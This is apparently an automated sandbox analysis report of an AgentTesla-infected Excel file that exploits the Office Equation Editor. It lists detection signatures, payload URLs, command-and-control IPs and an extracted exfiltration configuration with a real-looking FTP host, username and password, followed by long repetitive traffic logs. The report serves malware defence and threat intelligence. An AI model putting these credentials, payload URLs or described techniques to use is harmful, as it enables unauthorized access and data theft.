Windows Analysis Report
orden de compra.xlam.xlsx

Overview

General Information

Sample name: orden de compra.xlam.xlsx
Analysis ID: 1465900
MD5: 2f9a02c106854721a8c4fbdef77e6bd1
SHA1: 626be0171e875f0be6a67e72c92e2c0bd190d51c
SHA256: b053d32b3179667b0f2ecfbd8ef2ba4ea80e0ed27106847282b72a3778ada68f
Tags: xlamxlsx
Infos:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: orden de compra.xlam.xlsx Avira: detected
Found malware configuration
Source: 8.2.AddInProcess32.exe.400000.0.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.horeca-bucuresti.ro", "Username": "americas2@horeca-bucuresti.ro", "Password": "H*TE9iL;x61m"}
Multi AV Scanner detection for domain / URL
Source: uploaddeimagens.com.br Virustotal: Detection: 5% Perma Link
Source: http://192.3.243.156/ourTraditionalbase.txt Virustotal: Detection: 12% Perma Link
Source: https://uploaddeimagens.com.br Virustotal: Detection: 6% Perma Link
Source: http://192.3.243.156 Virustotal: Detection: 10% Perma Link
Source: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235 Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for submitted file
Source: orden de compra.xlam.xlsx ReversingLabs: Detection: 68%
Source: orden de compra.xlam.xlsx Virustotal: Detection: 47% Perma Link

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 192.3.243.156 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: Binary string: RunPE.pdb source: powershell.exe, 00000006.00000002.478276037.0000000000270000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.482820667.00000000062C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.479060921.00000000025B5000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0352054E LoadLibraryW, 2_2_0352054E
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035205CF URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035205CF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035205FD ShellExecuteW,ExitProcess, 2_2_035205FD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035205E8 ShellExecuteW,ExitProcess, 2_2_035205E8
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0352048F ExitProcess, 2_2_0352048F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03520622 ExitProcess, 2_2_03520622
Suspicious execution chain found
Source: C:\Windows\SysWOW64\wscript.exe Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: uploaddeimagens.com.br
Source: global traffic DNS query: name: ip-api.com
Source: global traffic DNS query: name: ip-api.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 208.95.112.1:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 208.95.112.1:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 41.216.183.13:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 41.216.183.13:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
